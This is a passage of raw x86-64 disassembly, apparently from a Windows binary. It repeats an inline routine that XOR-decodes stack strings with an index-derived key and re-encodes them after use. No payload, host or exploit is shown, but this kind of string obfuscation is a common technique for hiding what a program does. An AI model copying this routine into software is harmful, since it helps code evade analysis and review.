shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11a0]
xorps xmm2, xmm1
movd dword [rbp + 0x11a0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11a4]
xorps xmm2, xmm1
movd dword [rbp + 0x11a4], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11a8]
xorps xmm2, xmm1
movd dword [rbp + 0x11a8], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1198]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140003bd0
cmp byte [rbp + 0xeb3], 0
je 0x140003cc2
mov r8d, edi
cmp r13d, 2
jl 0x140003c81
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0xeb0]
xorps xmm1, xmm0
movd dword [rbp + 0xeb0], xmm1
jmp 0x140003cc2
lea r9, [rbp + 0xeb0]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003c90
mov rdx, rbx
lea rcx, [rbp + 0x750]
call fcn.1400180f0
mov r10, rax
cmp byte [rbp + 0x103d], 0
je 0x140003e83
mov r8d, edi
cmp r13d, 2
jl 0x140003e40
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1030]
xorps xmm2, xmm1
movd dword [rbp + 0x1030], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1034]
xorps xmm2, xmm1
movd dword [rbp + 0x1034], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1038]
xorps xmm2, xmm1
movd dword [rbp + 0x1038], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x1030]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140003e50
mov r8, r10
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x770]
call fcn.140018600
nop
lea r8, [rbp + 0xeb0]
mov rdx, rax
lea rcx, [rbp + 0x790]
call fcn.140018490
nop
mov rdx, rax
lea rcx, [rbp + 0x15a8]
call fcn.140017ff0
nop
lea rcx, [rbp + 0x790]
call fcn.140018090
nop
lea rcx, [rbp + 0x770]
call fcn.140018090
nop
lea rcx, [rbp + 0x750]
call fcn.140018090
cmp byte [rbp + 0x103d], 0
jne 0x140004093
mov r8d, edi
cmp r13d, 2
jl 0x140004053
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1030]
xorps xmm2, xmm1
movd dword [rbp + 0x1030], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1034]
xorps xmm2, xmm1
movd dword [rbp + 0x1034], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1038]
xorps xmm2, xmm1
movd dword [rbp + 0x1038], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x1030]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140004060
cmp byte [rbp + 0xeb3], 0
jne 0x140004152
mov r8d, edi
cmp r13d, 2
jl 0x140004111
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0xeb0]
xorps xmm1, xmm0
movd dword [rbp + 0xeb0], xmm1
jmp 0x140004152
lea r9, [rbp + 0xeb0]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004120
cmp byte [rbp + 0x1c62], 0
je 0x1400042c3
mov r8d, edi
cmp r13d, 2
jl 0x140004275
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1c3c]
mov edx, dword [rbp + 0xe0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004182
cmp r8d, 0x2b
jge 0x1400042c3
movsxd rax, r8d
lea r9, [rbp + 0x1c38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140004290
lea rdx, [rbp + 0x1c38]
lea rcx, [rbp + 0x15a8]
call fcn.140017ee0
cmp byte [rbp + 0x1c62], 0
jne 0x140004443
mov r8d, edi
cmp r13d, 2
jl 0x140004403
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1c3c]
mov edx, dword [rbp + 0xe0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004310
cmp r8d, 0x2b
jge 0x140004443
movsxd rax, r8d
lea r9, [rbp + 0x1c38]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140004410
lea rdx, [rbp + 0x15a8]
lea rcx, [rbp + 0x7b0]
call fcn.140018130
mov rcx, rax
call fcn.140002100
lea rcx, [rbp + 0x15a8]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x15a8]
call fcn.140018090
cmp byte [rbp + 0x1118], 0
jne 0x140004693
mov r8d, edi
cmp r13d, 2
jl 0x140004652
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1108]
xorps xmm2, xmm1
movd dword [rbp + 0x1108], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x110c]
xorps xmm2, xmm1
movd dword [rbp + 0x110c], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1110]
xorps xmm2, xmm1
movd dword [rbp + 0x1110], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1114]
xorps xmm2, xmm1
movd dword [rbp + 0x1114], xmm2
mov r8d, 0x10
mov eax, r8d
lea r9, [rbp + 0x1108]
add r9, rax
nop
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140004660
lea rdx, [rbp + 0x15c8]
lea rcx, [rbp + 0x7d0]
call fcn.140018130
mov r14, rax
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x1ee0]
lea rcx, [rsp + 0x71]
call fcn.140002440
lea rdx, [rbp + 0x1150]
lea rcx, [rsp + 0x72]
call fcn.140002490
cmp byte [rbp + 0x1165], 0
je 0x140004963
mov r8d, edi
cmp r13d, 2
jl 0x14000491a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1150]
xorps xmm2, xmm1
movd dword [rbp + 0x1150], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1154]
xorps xmm2, xmm1
movd dword [rbp + 0x1154], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1158]
xorps xmm2, xmm1
movd dword [rbp + 0x1158], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x115c]
xorps xmm2, xmm1
movd dword [rbp + 0x115c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1160]
xorps xmm2, xmm1
movd dword [rbp + 0x1160], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1150]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140004930
cmp byte [rbp + 0x1f16], 0
je 0x140004ad3
mov r8d, edi
cmp r13d, 2
jl 0x140004a93
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1ee4]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400049a0
cmp r8d, 0x37
jge 0x140004ad3
movsxd rax, r8d
lea r9, [rbp + 0x1ee0]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140004aa0
mov r8, r14
lea rdx, [rbp + 0x1ee0]
lea rcx, [rbp + 0x7f0]
call fcn.140018660
nop
lea r8, [rbp + 0x1150]
mov rdx, rax
lea rcx, [rbp + 0x14c8]
call fcn.140018490
nop
lea rcx, [rbp + 0x7f0]
call fcn.140018090
cmp byte [rbp + 0x1f16], 0
jne 0x140004c73
mov r8d, edi
cmp r13d, 2
jl 0x140004c33
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1ee4]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140004b40
cmp r8d, 0x37
jge 0x140004c73
movsxd rax, r8d
lea r9, [rbp + 0x1ee0]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140004c40
cmp byte [rbp + 0x1165], 0
jne 0x140004f03
mov r8d, edi
cmp r13d, 2
jl 0x140004ebd
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1150]
xorps xmm2, xmm1
movd dword [rbp + 0x1150], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1154]
xorps xmm2, xmm1
movd dword [rbp + 0x1154], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1158]
xorps xmm2, xmm1
movd dword [rbp + 0x1158], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x115c]
xorps xmm2, xmm1
movd dword [rbp + 0x115c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
